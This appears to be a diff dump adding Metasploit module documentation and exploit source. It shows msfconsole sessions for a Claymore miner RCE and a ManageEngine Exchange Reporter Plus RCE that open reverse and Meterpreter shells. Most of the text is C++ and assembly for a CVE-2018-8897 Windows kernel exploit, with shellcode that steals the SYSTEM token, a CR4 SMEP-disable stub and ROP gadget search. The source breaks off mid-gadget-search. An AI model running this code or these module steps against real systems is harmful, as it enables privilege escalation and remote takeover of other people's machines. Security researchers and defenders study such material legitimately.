msf5 exploit(multi/misc/claymore_dual_miner_remote_manager_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 127.0.0.1:1234
|
||||
[*] Command shell session 1 opened (127.0.0.1:1234 -> 127.0.0.1:3333) at 2018-07-02 18:43:41 +0000
|
||||
|
||||
whoami
|
||||
reversebrain
|
||||
```
|
|
@ -0,0 +1,54 @@
|
|||
## Description
|
||||
This module exploits a remote code execution vulnerability that exists in Exchange Reporter Plus <= 5310, caused by execution of bcp.exe file inside ADSHACluster servlet.
|
||||
Additional information can be viewed on https://security.szurek.pl/manage-engine-exchange-reporter-plus-unauthenticated-rce.html
|
||||
|
||||
## Vulnerable Application
|
||||
[Exchange Reporter Plus 5216](https://mega.nz/#!XG5CTC5I!IuG91CbrcdcpQj4teYRiBWNwy9pULRkV69U3DQ6nCyU)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: `use exploit/windows/http/manageengine_adshacluster_rce`
|
||||
4. Do: `set rhost <ip>`
|
||||
5. Do: `check`
|
||||
```
|
||||
[*] Version: 5216
|
||||
[+] 192.168.88.125:8181 The target is vulnerable.
|
||||
```
|
||||
6. Do: `set lport <port>`
|
||||
7. Do: `set lhost <ip>`
|
||||
8. Do: `exploit`
|
||||
9. You should get a shell.
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Exchange Reporter Plus 5216 on Windows Target
|
||||
```
|
||||
msf > use exploit/windows/http/manageengine_adshacluster_rce
|
||||
msf exploit(windows/http/manageengine_adshacluster_rce) > set rhost 192.168.88.125
|
||||
rhost => 192.168.88.125
|
||||
msf exploit(windows/http/manageengine_adshacluster_rce) > check
|
||||
|
||||
[*] Version: 5216
|
||||
[+] 192.168.88.125:8181 The target is vulnerable.
|
||||
msf exploit(windows/http/manageengine_adshacluster_rce) > set lport 1111
|
||||
lport => 1111
|
||||
msf exploit(windows/http/manageengine_adshacluster_rce) > set lhost 192.168.88.120
|
||||
lhost => 192.168.88.120
|
||||
msf exploit(windows/http/manageengine_adshacluster_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.88.120:1111
|
||||
[*] Sending stage (179779 bytes) to 192.168.88.125
|
||||
[*] Meterpreter session 2 opened (192.168.88.120:1111 -> 192.168.88.125:49955) at 2018-07-02 18:58:01 +0200
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : WIN10
|
||||
OS : Windows 10 (Build 16299).
|
||||
Architecture : x64
|
||||
System Language : pl_PL
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x86/windows
|
||||
```
|
|
@ -0,0 +1,10 @@
|
|||
# Description
|
||||
|
||||
This module exploits a MOV SS vulnerability that is specifically made against Microsoft Windows
|
||||
(excpet for Windows XP). It will upload a pre-compiled exploit onto the target machine, followed
|
||||
by the final payload (such as a Meterpreter) in order to gain remote code execution.
|
||||
|
||||
# Vulnerable Target
|
||||
|
||||
Please note that this module may not work with certain hypervisors (such as VMWare). You should
|
||||
test it on a real machine if possible.
|
|
@ -0,0 +1,10 @@
|
|||
#pragma once
|
||||
|
||||
#define ERROR( msg ) \
|
||||
{SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 12 ); \
|
||||
printf( "\n[[[[[[ " msg " ]]]]]]\n\n" ); \
|
||||
system( "pause" ); \
|
||||
exit( 0 );}
|
||||
|
||||
|
||||
#define assert( cond ) if( !(cond) ) ERROR( "Assert Failed: " #cond )
|
|
@ -0,0 +1,66 @@
|
|||
#pragma once
|
||||
#include <Windows.h>
|
||||
#include <inttypes.h>
|
||||
#include <iostream>
|
||||
#include <vector>
|
||||
#include "NtDefines.h"
|
||||
|
||||
struct KernelContext
|
||||
{
|
||||
HMODULE NtLib;
|
||||
uint64_t NtBase;
|
||||
|
||||
template<typename T = fnFreeCall>
|
||||
T GetProcAddress( const char* Proc )
|
||||
{
|
||||
FARPROC LocProc = ::GetProcAddress( this->NtLib, Proc );
|
||||
|
||||
if ( !LocProc )
|
||||
return ( T ) ( nullptr );
|
||||
|
||||
uint32_t Delta = ( uintptr_t ) ( LocProc ) -( uintptr_t ) ( this->NtLib );
|
||||
|
||||
return ( T ) ( this->NtBase + Delta );
|
||||
}
|
||||
};
|
||||
|
||||
static KernelContext* Kr_InitContext()
|
||||
{
|
||||
KernelContext* Kc = new KernelContext;
|
||||
|
||||
std::vector<BYTE> Buffer( 1024 * 1024 );
|
||||
|
||||
ULONG ReqSize = 0;
|
||||
|
||||
do
|
||||
{
|
||||
if ( !NtQuerySystemInformation( SystemModuleInformation, Buffer.data(), Buffer.size(), &ReqSize ) )
|
||||
break;
|
||||
|
||||
Buffer.resize( ReqSize * 2 );
|
||||
}
|
||||
while ( ReqSize > Buffer.size() );
|
||||
|
||||
SYSTEM_MODULE_INFORMATION* ModuleInfo = ( SYSTEM_MODULE_INFORMATION* ) Buffer.data();
|
||||
|
||||
char* KernelFileName = ( char* ) ModuleInfo->Module[ 0 ].FullPathName + ModuleInfo->Module[ 0 ].OffsetToFileName;
|
||||
|
||||
Kc->NtBase = ( uint64_t ) ModuleInfo->Module[ 0 ].ImageBase;
|
||||
Kc->NtLib = LoadLibraryA( KernelFileName );
|
||||
|
||||
if ( !Kc->NtBase || !Kc->NtLib )
|
||||
{
|
||||
delete Kc;
|
||||
printf( "[+] Failed to get kernel module information!\n" );
|
||||
return 0;
|
||||
}
|
||||
|
||||
printf( "[+] Kernel: %s @ %16llx\n", KernelFileName, Kc->NtBase );
|
||||
|
||||
return Kc;
|
||||
}
|
||||
|
||||
static void Kr_FreeContext( KernelContext* Ctx )
|
||||
{
|
||||
delete Ctx;
|
||||
}
|
|
@ -0,0 +1,29 @@
|
|||
BSD 3-Clause License
|
||||
|
||||
Copyright (c) 2018, Can Bölük
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions are met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright notice, this
|
||||
list of conditions and the following disclaimer.
|
||||
|
||||
* Redistributions in binary form must reproduce the above copyright notice,
|
||||
this list of conditions and the following disclaimer in the documentation
|
||||
and/or other materials provided with the distribution.
|
||||
|
||||
* Neither the name of the copyright holder nor the names of its
|
||||
contributors may be used to endorse or promote products derived from
|
||||
this software without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
||||
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
|
||||
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
||||
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
|
@ -0,0 +1,88 @@
|
|||
#pragma once
|
||||
#include <Windows.h>
|
||||
#include <iostream>
|
||||
#include "NtDefines.h"
|
||||
|
||||
#pragma section(".LDATA", read, write)
|
||||
#pragma section(".LTEXT", read, write, execute)
|
||||
|
||||
#pragma data_seg(".LDATA$1")
|
||||
#pragma data_seg(".LDATA$2")
|
||||
#pragma data_seg(".LDATA$3")
|
||||
#pragma data_seg()
|
||||
|
||||
#pragma code_seg(".LTEXT$1")
|
||||
#pragma code_seg(".LTEXT$2")
|
||||
#pragma code_seg(".LTEXT$3")
|
||||
#pragma code_seg()
|
||||
|
||||
__declspec( allocate( ".LDATA$1" ) ) static char Np_DataStart = 0x0;
|
||||
__declspec( allocate( ".LDATA$3" ) ) static char Np_DataEnd = 0x0;
|
||||
|
||||
__declspec( allocate( ".LTEXT$1" ) ) static char Np_TextStart = 0x0;
|
||||
__declspec( allocate( ".LTEXT$3" ) ) static char Np_TextEnd = 0x0;
|
||||
|
||||
|
||||
#define NON_PAGED_DATA __declspec( allocate( ".LDATA$2" ) )
|
||||
#define NON_PAGED_CODE __declspec( code_seg( ".LTEXT$2" ) ) __declspec(noinline)
|
||||
#define NON_PAGED_LAMBDA(...) []( __VA_ARGS__ ) NON_PAGED_CODE
|
||||
|
||||
// Mini non-paged crt
|
||||
#define Np_memcpy(dst, src, size) __movsb( ( BYTE* ) dst, ( const BYTE* ) src, size )
|
||||
#define Np_memset(dst, val, size) __stosb( ( BYTE* ) dst, val, size)
|
||||
#define Np_ZeroMemory(dst, size) __stosb( ( BYTE* ) dst, 0, size)
|
||||
|
||||
#pragma comment(linker,"/MERGE:.LDATA=.data")
|
||||
#pragma comment(linker,"/MERGE:.LTEXT=.text")
|
||||
|
||||
// Routines to lock the pages
|
||||
static BOOL Np_TryIncreaseWorkingSetSize( SIZE_T Size )
|
||||
{
|
||||
SIZE_T Min, Max;
|
||||
if ( !GetProcessWorkingSetSize( NtCurrentProcess(), &Min, &Max ) )
|
||||
return FALSE;
|
||||
if ( !SetProcessWorkingSetSize( NtCurrentProcess(), Min + Size, Max + Size ) )
|
||||
return FALSE;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
static BOOL Np_TryLockPage( PVOID Page )
|
||||
{
|
||||
if ( !Np_TryIncreaseWorkingSetSize( 0x1000 ) )
|
||||
return FALSE;
|
||||
if ( VirtualLock( Page, 0x1000 ) )
|
||||
return TRUE;
|
||||
if ( !Np_TryIncreaseWorkingSetSize( 0x2000 ) )
|
||||
return FALSE;
|
||||
return VirtualLock( Page, 0x1000 );
|
||||
}
|
||||
|
||||
static BOOL Np_LockRange( PVOID From, PVOID To )
|
||||
{
|
||||
PBYTE FromPageAligned = ( PBYTE ) ( ( uintptr_t ) ( From ) & ( ~0xFFF ) );
|
||||
PBYTE ToPageAligned = ( PBYTE ) ( ( uintptr_t ) ( To ) & ( ~0xFFF ) );
|
||||
|
||||
for ( PBYTE Current = FromPageAligned; Current <= ToPageAligned; Current += 0x1000 )
|
||||
{
|
||||
if ( !Np_TryLockPage( Current ) )
|
||||
{
|
||||
printf( "[+] Failed locking %16llx!\n", Current );
|
||||
return FALSE;
|
||||
}
|
||||
else
|
||||
{
|
||||
printf( "[+] Locked %16llx successfully!\n", From );
|
||||
}
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
static BOOL Np_LockSections()
|
||||
{
|
||||
printf( "[+] .LDATA: %16llx -> %16llx!\n", &Np_DataStart, &Np_DataEnd );
|
||||
printf( "[+] .LTEXT: %16llx -> %16llx!\n", &Np_TextStart, &Np_TextEnd );
|
||||
|
||||
return
|
||||
Np_LockRange( &Np_DataStart, &Np_DataEnd ) &&
|
||||
Np_LockRange( &Np_TextStart, &Np_TextEnd );
|
||||
}
|
|
@ -0,0 +1,146 @@
|
|||
.code
|
||||
__swapgs PROC
|
||||
swapgs
|
||||
ret
|
||||
__swapgs ENDP
|
||||
|
||||
__rollback_isr PROC
|
||||
mov rdx, [rsp] ; rdx = Return pointer
|
||||
lea r8, [rsp+8h] ; r8 = Old stack
|
||||
mov [rcx], rdx ; isr stack.rip = Return pointer
|
||||
mov [rcx+18h], r8 ; isr stack.rsp = Old stack
|
||||
mov rsp, rcx ; stack = isr stack
|
||||
iretq ; return
|
||||
__rollback_isr ENDP
|
||||
|
||||
__set_gs_base PROC
|
||||
wrgsbase rcx
|
||||
ret
|
||||
__set_gs_base ENDP
|
||||
|
||||
__readss PROC
|
||||
xor eax, eax
|
||||
mov ax, ss
|
||||
ret
|
||||
__readss ENDP
|
||||
|
||||
__read_gs_base PROC
|
||||
rdgsbase rax
|
||||
ret
|
||||
__read_gs_base ENDP
|
||||
|
||||
__triggervuln PROC
|
||||
mov [rcx+8*0], r12 ; save registers
|
||||
mov [rcx+8*1], r13
|
||||
mov [rcx+8*2], r14
|
||||
mov [rcx+8*3], r15
|
||||
mov [rcx+8*4], rdi
|
||||
mov [rcx+8*5], rsi
|
||||
mov [rcx+8*6], rbx
|
||||
mov [rcx+8*7], rbp
|
||||
mov [rcx+8*8], rsp
|
||||
pushfq
|
||||
pop [rcx+8*9]
|
||||
|
||||
mov ss, word ptr [rdx] ; Defer debug exception
|
||||
int 3 ; Execute with interrupts disabled
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
|
||||
mov r12, [rcx+8*0] ; load registers
|
||||
mov r13, [rcx+8*1]
|
||||
mov r14, [rcx+8*2]
|
||||
mov r15, [rcx+8*3]
|
||||
mov rdi, [rcx+8*4]
|
||||
mov rsi, [rcx+8*5]
|
||||
mov rbx, [rcx+8*6]
|
||||
mov rbp, [rcx+8*7]
|
||||
mov rsp, [rcx+8*8]
|
||||
push [rcx+8*9]
|
||||
popfq
|
||||
ret
|
||||
__triggervuln ENDP
|
||||
|
||||
|
||||
__setxmm0 PROC
|
||||
movups xmm0, [rcx]
|
||||
ret
|
||||
__setxmm0 ENDP
|
||||
|
||||
__setxmm1 PROC
|
||||
movups xmm1, [rcx]
|
||||
ret
|
||||
__setxmm1 ENDP
|
||||
|
||||
__setxmm2 PROC
|
||||
movups xmm2, [rcx]
|
||||
ret
|
||||
__setxmm2 ENDP
|
||||
|
||||
__setxmm3 PROC
|
||||
movups xmm3, [rcx]
|
||||
ret
|
||||
__setxmm3 ENDP
|
||||
|
||||
__setxmm4 PROC
|
||||
movups xmm4, [rcx]
|
||||
ret
|
||||
__setxmm4 ENDP
|
||||
|
||||
__setxmm5 PROC
|
||||
movups xmm5, [rcx]
|
||||
ret
|
||||
__setxmm5 ENDP
|
||||
|
||||
__setxmm6 PROC
|
||||
movups xmm6, [rcx]
|
||||
ret
|
||||
__setxmm6 ENDP
|
||||
|
||||
__setxmm7 PROC
|
||||
movups xmm7, [rcx]
|
||||
ret
|
||||
__setxmm7 ENDP
|
||||
|
||||
__setxmm8 PROC
|
||||
movups xmm8, [rcx]
|
||||
ret
|
||||
__setxmm8 ENDP
|
||||
|
||||
__setxmm9 PROC
|
||||
movups xmm9, [rcx]
|
||||
ret
|
||||
__setxmm9 ENDP
|
||||
|
||||
__setxmm10 PROC
|
||||
movups xmm10, [rcx]
|
||||
ret
|
||||
__setxmm10 ENDP
|
||||
|
||||
__setxmm11 PROC
|
||||
movups xmm11, [rcx]
|
||||
ret
|
||||
__setxmm11 ENDP
|
||||
|
||||
__setxmm12 PROC
|
||||
movups xmm12, [rcx]
|
||||
ret
|
||||
__setxmm12 ENDP
|
||||
|
||||
__setxmm13 PROC
|
||||
movups xmm13, [rcx]
|
||||
ret
|
||||
__setxmm13 ENDP
|
||||
|
||||
__setxmm14 PROC
|
||||
movups xmm14, [rcx]
|
||||
ret
|
||||
__setxmm14 ENDP
|
||||
|
||||
__setxmm15 PROC
|
||||
movups xmm15, [rcx]
|
||||
ret
|
||||
__setxmm15 ENDP
|
||||
end
|
|
@ -0,0 +1,30 @@
|
|||
#pragma once
|
||||
#include <Windows.h>
|
||||
#include <inttypes.h>
|
||||
|
||||
extern "C"
|
||||
{
|
||||
void __setxmm0( BYTE* );
|
||||
void __setxmm1( BYTE* );
|
||||
void __setxmm2( BYTE* );
|
||||
void __setxmm3( BYTE* );
|
||||
void __setxmm4( BYTE* );
|
||||
void __setxmm5( BYTE* );
|
||||
void __setxmm6( BYTE* );
|
||||
void __setxmm7( BYTE* );
|
||||
void __setxmm8( BYTE* );
|
||||
void __setxmm9( BYTE* );
|
||||
void __setxmm10( BYTE* );
|
||||
void __setxmm11( BYTE* );
|
||||
void __setxmm12( BYTE* );
|
||||
void __setxmm13( BYTE* );
|
||||
void __setxmm14( BYTE* );
|
||||
void __setxmm15( BYTE* );
|
||||
|
||||
void __swapgs();
|
||||
uint16_t __readss();
|
||||
PVOID __read_gs_base();
|
||||
void __set_gs_base( PVOID GsBase );
|
||||
void __rollback_isr( uint64_t IsrStack );
|
||||
void __triggervuln( PVOID RegSave, PVOID Abc );
|
||||
};
|
|
@ -0,0 +1,72 @@
|
|||
#pragma once
|
||||
#include <Windows.h>
|
||||
|
||||
#pragma pack(push, 8)
|
||||
typedef struct _SYSTEM_MODULE_ENTRY
|
||||
{
|
||||
HANDLE Section;
|
||||
PVOID MappedBase;
|
||||
PVOID ImageBase;
|
||||
ULONG ImageSize;
|
||||
ULONG Flags;
|
||||
USHORT LoadOrderIndex;
|
||||
USHORT InitOrderIndex;
|
||||
USHORT LoadCount;
|
||||
USHORT OffsetToFileName;
|
||||
UCHAR FullPathName[ 256 ];
|
||||
} SYSTEM_MODULE_ENTRY, *PSYSTEM_MODULE_ENTRY;
|
||||
|
||||
typedef struct _SYSTEM_MODULE_INFORMATION
|
||||
{
|
||||
ULONG Count;
|
||||
SYSTEM_MODULE_ENTRY Module[ 0 ];
|
||||
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
|
||||
|
||||
typedef struct _UNICODE_STRING
|
||||
{
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
PWSTR Buffer;
|
||||
} UNICODE_STRING;
|
||||
|
||||
typedef struct _SYSTEM_KERNEL_VA_SHADOW_INFORMATION
|
||||
{
|
||||
struct
|
||||
{
|
||||
ULONG KvaShadowEnabled : 1;
|
||||
ULONG KvaShadowUserGlobal : 1;
|
||||
ULONG KvaShadowPcid : 1;
|
||||
ULONG KvaShadowInvpcid : 1;
|
||||
ULONG Reserved : 28;
|
||||
} KvaShadowFlags;
|
||||
} SYSTEM_KERNEL_VA_SHADOW_INFORMATION, *PSYSTEM_KERNEL_VA_SHADOW_INFORMATION;
|
||||
|
||||
typedef UNICODE_STRING *PUNICODE_STRING;
|
||||
#pragma pack(pop)
|
||||
|
||||
#define NtCurrentProcess() ( HANDLE(-1) )
|
||||
#define SeLoadDriverPrivilege 10ull
|
||||
#define SystemModuleInformation 0xBull
|
||||
#define SystemKernelVaShadowInformation 196ull
|
||||
#define AdjustCurrentProcess 0ull
|
||||
#define STATUS_SUCCESS 0
|
||||
|
||||
using fnFreeCall = uint64_t( __fastcall* )( ... );
|
||||
|
||||
template<typename ...Params>
|
||||
static NTSTATUS __NtRoutine( const char* Name, Params &&... params )
|
||||
{
|
||||
auto fn = ( fnFreeCall ) GetProcAddress( GetModuleHandleA( "ntdll.dll" ), Name );
|
||||
return fn( std::forward<Params>( params ) ... );
|
||||
}
|
||||
|
||||
#define NtQuerySystemInformation(...) __NtRoutine("NtQuerySystemInformation", __VA_ARGS__)
|
||||
#define RtlAdjustPrivilege(...) __NtRoutine("RtlAdjustPrivilege", __VA_ARGS__)
|
||||
#define NtUnloadDriver(...) __NtRoutine("NtUnloadDriver", __VA_ARGS__)
|
||||
#define NtLoadDriver(...) __NtRoutine("NtLoadDriver", __VA_ARGS__)
|
||||
|
||||
static BOOL AcquirePrivilege( DWORD Privilage, DWORD Proc )
|
||||
{
|
||||
BOOLEAN Enabled = 0;
|
||||
return !RtlAdjustPrivilege( Privilage, 1ull, Proc, &Enabled ) || Enabled;
|
||||
}
|
|
@ -0,0 +1,12 @@
|
|||
# CVE-2018-8897
|
||||
Demo exploitation of the POP SS vulnerability (CVE-2018-8897), leading to unsigned code execution with kernel privilages.
|
||||
- KVA Shadowing should be disabled and [the relevant security update](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8897) should be uninstalled.
|
||||
- This may not work with certain hypervisors (like VMWare), which discard the pending #DB after INT3.
|
||||
|
||||
## Detailed explanation:
|
||||
|
||||
https://blog.can.ac/2018/05/11/arbitrary-code-execution-at-ring-0-using-cve-2018-8897/
|
||||
|
||||
## Result:
|
||||
![](https://blog.can.ac/wp-content/uploads/2018/05/K1DL2.png)
|
||||
![](https://blog.can.ac/wp-content/uploads/2018/05/aF6dL.png)
|
|
@ -0,0 +1,387 @@
|
|||
#include <iostream>
|
||||
#include <Windows.h>
|
||||
#include <intrin.h>
|
||||
#include "KernelRoutines.h"
|
||||
#include "LockedMemory.h"
|
||||
#include "Native.h"
|
||||
#include "Error.h"
|
||||
|
||||
struct ISR_STACK
|
||||
{
|
||||
uint64_t RIP;
|
||||
uint64_t CS;
|
||||
uint64_t EF;
|
||||
uint64_t RSP;
|
||||
};
|
||||
|
||||
// Doensn't really change
|
||||
static const uint32_t Offset_Pcr__Self = 0x18;
|
||||
static const uint32_t Offset_Pcr__CurrentPrcb = 0x20;
|
||||
static const uint32_t Offset_Pcr__Prcb = 0x180;
|
||||
static const uint32_t Offset_Prcb__CurrentThread = 0x8;
|
||||
static const uint32_t Offset_Context__XMM13 = 0x270;
|
||||
static const uint32_t MxCsr__DefVal = 0x1F80;
|
||||
static const uint32_t Offset_Prcb__RspBase = 0x28;
|
||||
static const uint32_t Offset_KThread__InitialStack = 0x28;
|
||||
static const uint32_t Offset_Prcb__Cr8 = 0x100 + 0xA0;
|
||||
static const uint32_t Offset_Prcb__Cr4 = 0x100 + 0x18;
|
||||
|
||||
// Requires patterns
|
||||
NON_PAGED_DATA static uint32_t Offset_Prcb__Context = 0x0; // @KeBugCheckEx
|
||||
NON_PAGED_DATA static uint32_t Offset_KThread__ApcStateFill__Process = 0x0; // @PsGetCurrentProcess
|
||||
|
||||
NON_PAGED_DATA uint64_t ContextBackup[ 10 ];
|
||||
|
||||
NON_PAGED_DATA fnFreeCall k_PsDereferencePrimaryToken = 0;
|
||||
NON_PAGED_DATA fnFreeCall k_PsReferencePrimaryToken = 0;
|
||||
NON_PAGED_DATA fnFreeCall k_PsGetCurrentProcess = 0;
|
||||
NON_PAGED_DATA uint64_t* k_PsInitialSystemProcess = 0;
|
||||
|
||||
NON_PAGED_DATA fnFreeCall k_ExAllocatePool = 0;
|
||||
|
||||
using fnIRetToVulnStub = void( * )( uint64_t Cr4, uint64_t IsrStack, PVOID ContextBackup );
|
||||
NON_PAGED_DATA BYTE IRetToVulnStub[] =
|
||||
{
|
||||
0x0F, 0x22, 0xE1, // mov cr4, rcx ; cr4 = original cr4
|
||||
0x48, 0x89, 0xD4, // mov rsp, rdx ; stack = isr stack
|
||||
0x4C, 0x89, 0xC1, // mov rcx, r8 ; rcx = ContextBackup
|
||||
0xFB, // sti ; enable interrupts
|
||||
0x48, 0x31, 0xC0, // xor rax, rax ; lower irql to passive_level
|
||||
0x44, 0x0F, 0x22, 0xC0, // mov cr8, rax
|
||||
0x48, 0xCF // iretq ; interrupt return
|
||||
};
|
||||
|
||||
NON_PAGED_DATA uint64_t PredictedNextRsp = 0;
|
||||
NON_PAGED_DATA ptrdiff_t StackDelta = 0;
|
||||
|
||||
NON_PAGED_CODE void KernelShellcode()
|
||||
{
|
||||
__writedr( 7, 0 );
|
||||
|
||||
uint64_t Cr4Old = __readgsqword( Offset_Pcr__Prcb + Offset_Prcb__Cr4 );
|
||||
__writecr4( Cr4Old & ~( 1 << 20 ) );
|
||||
|
||||
__swapgs();
|
||||
|
||||
// Uncomment if it bugchecks to debug:
|
||||
// __writedr( 2, StackDelta );
|
||||
// __writedr( 3, PredictedNextRsp );
|
||||
// __debugbreak();
|
||||
// ^ This will let you see StackDelta and RSP clearly in a crash dump so you can check where the process went bad
|
||||
|
||||
uint64_t IsrStackIterator = PredictedNextRsp - StackDelta - 0x38;
|
||||
|
||||
// Unroll nested KiBreakpointTrap -> KiDebugTrapOrFault -> KiTrapDebugOrFault
|
||||
while (
|
||||
( ( ISR_STACK* ) IsrStackIterator )->CS == 0x10 &&
|
||||
( ( ISR_STACK* ) IsrStackIterator )->RIP > 0x7FFFFFFEFFFF )
|
||||
{
|
||||
|
||||
__rollback_isr( IsrStackIterator );
|
||||
|
||||
// We are @ KiBreakpointTrap -> KiDebugTrapOrFault, which won't follow the RSP Delta
|
||||
if ( ( ( ISR_STACK* ) ( IsrStackIterator + 0x30 ) )->CS == 0x33 )
|
||||
{
|
||||
/*
|
||||
fffff00e`d7a1bc38 fffff8007e4175c0 nt!KiBreakpointTrap
|
||||
fffff00e`d7a1bc40 0000000000000010
|
||||
fffff00e`d7a1bc48 0000000000000002
|
||||
fffff00e`d7a1bc50 fffff00ed7a1bc68
|
||||
fffff00e`d7a1bc58 0000000000000000
|
||||
fffff00e`d7a1bc60 0000000000000014
|
||||
fffff00e`d7a1bc68 00007ff7e2261e95 --
|
||||
fffff00e`d7a1bc70 0000000000000033
|
||||
fffff00e`d7a1bc78 0000000000000202
|
||||
fffff00e`d7a1bc80 000000ad39b6f938
|
||||
*/
|
||||
IsrStackIterator = IsrStackIterator + 0x30;
|
||||
break;
|
||||
}
|
||||
|
||||
IsrStackIterator -= StackDelta;
|
||||
}
|
||||
|
||||
|
||||
PVOID KStub = ( PVOID ) k_ExAllocatePool( 0ull, ( uint64_t )sizeof( IRetToVulnStub ) );
|
||||
Np_memcpy( KStub, IRetToVulnStub, sizeof( IRetToVulnStub ) );
|
||||
|
||||
// ------ KERNEL CODE ------
|
||||
|
||||
uint64_t SystemProcess = *k_PsInitialSystemProcess;
|
||||
uint64_t CurrentProcess = k_PsGetCurrentProcess();
|
||||
|
||||
uint64_t CurrentToken = k_PsReferencePrimaryToken( CurrentProcess );
|
||||
uint64_t SystemToken = k_PsReferencePrimaryToken( SystemProcess );
|
||||
|
||||
for ( int i = 0; i < 0x500; i += 0x8 )
|
||||
{
|
||||
uint64_t Member = *( uint64_t * ) ( CurrentProcess + i );
|
||||
|
||||
if ( ( Member & ~0xF ) == CurrentToken )
|
||||
{
|
||||
*( uint64_t * ) ( CurrentProcess + i ) = SystemToken;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
k_PsDereferencePrimaryToken( CurrentToken );
|
||||
k_PsDereferencePrimaryToken( SystemToken );
|
||||
|
||||
// ------ KERNEL CODE ------
|
||||
|
||||
__swapgs();
|
||||
|
||||
( ( ISR_STACK* ) IsrStackIterator )->RIP += 1;
|
||||
( fnIRetToVulnStub( KStub ) )( Cr4Old, IsrStackIterator, ContextBackup );
|
||||
}
|
||||
|
||||
PUCHAR AllocateLockedMemoryForKernel( SIZE_T Sz )
|
||||
{
|
||||
PUCHAR Va = ( PUCHAR ) VirtualAlloc( 0, Sz, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE );
|
||||
ZeroMemory( Va, Sz );
|
||||
for ( int i = 0; i < Sz; i += 0x1000 )
|
||||
Np_TryLockPage( Va + i );
|
||||
return Va;
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
if (argc < 2){
|
||||
return 0;
|
||||
}
|
||||
// Pre-init checks: KVA Shadow
|
||||
SYSTEM_KERNEL_VA_SHADOW_INFORMATION KvaInfo = { 0 };
|
||||
if ( !NtQuerySystemInformation( SystemKernelVaShadowInformation, &KvaInfo, ( uint64_t ) sizeof( KvaInfo ), 0ull ) )
|
||||
assert( !KvaInfo.KvaShadowFlags.KvaShadowEnabled );
|
||||
|
||||
// Initialization: Memory allocation, locking sections, loading nt
|
||||
SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xA );
|
||||
|
||||
assert( Np_LockSections() );
|
||||
assert( Np_TryLockPage( &__rollback_isr ) );
|
||||
assert( Np_TryLockPage( &__swapgs ) );
|
||||
|
||||
KernelContext* KrCtx = Kr_InitContext();
|
||||
assert( KrCtx );
|
||||
|
||||
static PUCHAR Pcr = AllocateLockedMemoryForKernel( 0x10000 );
|
||||
static PUCHAR KThread = AllocateLockedMemoryForKernel( 0x10000 );
|
||||
static PUCHAR KProcess = AllocateLockedMemoryForKernel( 0x10000 );
|
||||
static PUCHAR Prcb = Pcr + Offset_Pcr__Prcb;
|
||||
|
||||
|
||||
// Offsets: Finding offsets and ROP gadgets
|
||||
SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xB );
|
||||
|
||||
PIMAGE_DOS_HEADER DosHeader = ( PIMAGE_DOS_HEADER ) KrCtx->NtLib;
|
||||
PIMAGE_NT_HEADERS FileHeader = ( PIMAGE_NT_HEADERS ) ( ( uint64_t ) DosHeader + DosHeader->e_lfanew );
|
||||
PIMAGE_SECTION_HEADER SectionHeader = ( PIMAGE_SECTION_HEADER ) ( ( ( uint64_t ) &FileHeader->OptionalHeader ) + FileHeader->FileHeader.SizeOfOptionalHeader );
|
||||
while ( _strcmpi( ( char* ) SectionHeader->Name, ".text" ) ) SectionHeader++;
|
||||
|
||||
uint64_t AdrRetn = 0;
|
||||
uint64_t AdrPopRcxRetn = 0;
|
||||
uint64_t AdrSetCr4Retn = 0;
|
||||
|
||||
PUCHAR NtBegin = ( PUCHAR ) KrCtx->NtLib + SectionHeader->VirtualAddress;
|
||||
PUCHAR NtEnd = NtBegin + SectionHeader->Misc.VirtualSize;
|
||||
|
||||
// Find [RETN]
|
||||
for ( PUCHAR It = NtBegin; It < NtEnd; It++ )
|
||||
{
|
||||
if ( It[ 0 ] == 0xC3 )
|
||||
{
|
||||
AdrRetn = It - ( PUCHAR ) KrCtx->NtLib + KrCtx->NtBase;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// Find [POP RCX; RETN]
|
||||
for ( PUCHAR It = NtBegin; It < NtEnd; It++ )
|
||||
{
|
||||
if ( It[ 0 ] == 0x59 && It[ 1 ] == 0xC3 )
|
||||
{
|
||||
